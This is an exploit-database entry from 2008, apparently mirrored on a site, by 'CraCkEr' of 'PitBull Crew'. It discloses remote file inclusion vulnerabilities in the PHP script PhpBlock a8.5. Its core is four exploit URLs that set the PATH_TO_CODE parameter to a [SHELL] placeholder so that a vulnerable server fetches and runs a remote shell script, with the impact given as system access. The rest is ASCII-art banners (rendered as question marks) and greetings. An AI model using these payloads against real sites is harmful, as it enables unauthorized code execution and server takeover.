[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PhpBlock a8.5 Multiple Remote File Inclusion Vulnerabilities
# Published : 2008-05-11
# Author : CraCkEr
# Previous Title : AJ HYIP ACME (topic_detail.php id) Remote SQL Injection Vulnerability
# Next Title : Joomla Component xsstream-dm 0.01b Remote SQL Injection Exploit
???????????????????????????????????????????????????????????????????????????????
?? C r a C k E r ??
?? T H E C R A C K O F E T E R N A L M I G H T ??
??????????????????????????????????????????????????????????????????????????????
????? From The Ashes and Dust Rises An Unimaginable crack.... ?????
??????????????????????????????????????????????????????????????????????????????
?? [ Remote File Include ] ??
??????????????????????????????????????????????????????????????????????????????
: Author : CraCkEr : : :
? Group : PitBull Crew ? ? ?
? Script : PhpBlock a8.5 ? ? Register Globals : ?
? Download : SourceForge.net ? ? ?
? Method : GET ? ? [?] ON [ ] OFF ?
? Critical : High [????????] ? ? ?
? Impact : System access ? ? ?
? ????????????????????????????????????? ???????????????????????????????????? ?
? DALnet #crackers ??
??????????????????????????????????????????????????????????????????????????????
: :
? Release Notes: ?
? ????????????? ?
? Typically used for remotely exploitable vulnerabilities that can lead to ?
? system compromise. ?
? ?
??????????????????????????????????????????????????????????????????????????????
?? Exploit URL's ??
??????????????????????????????????????????????????????????????????????????????
http://localhost/path/script/init/createallimagecache.php?PATH_TO_CODE=[SHELL]
http://localhost/path/script/tick/allincludefortick.php?PATH_TO_CODE=[SHELL]
http://localhost/path/script/tick/test.php?PATH_TO_CODE=[SHELL]
http://localhost/path/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=[SHELL]
??????????????????????????????????????????????????????????????????????????????
Greets:
The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD
??????????????????????????????????????????????????????????????????????????????
?? ? CraCkEr 2008 ??
??????????????????????????????????????????????????????????????????????????????
# www.Syue.com [2008-05-11]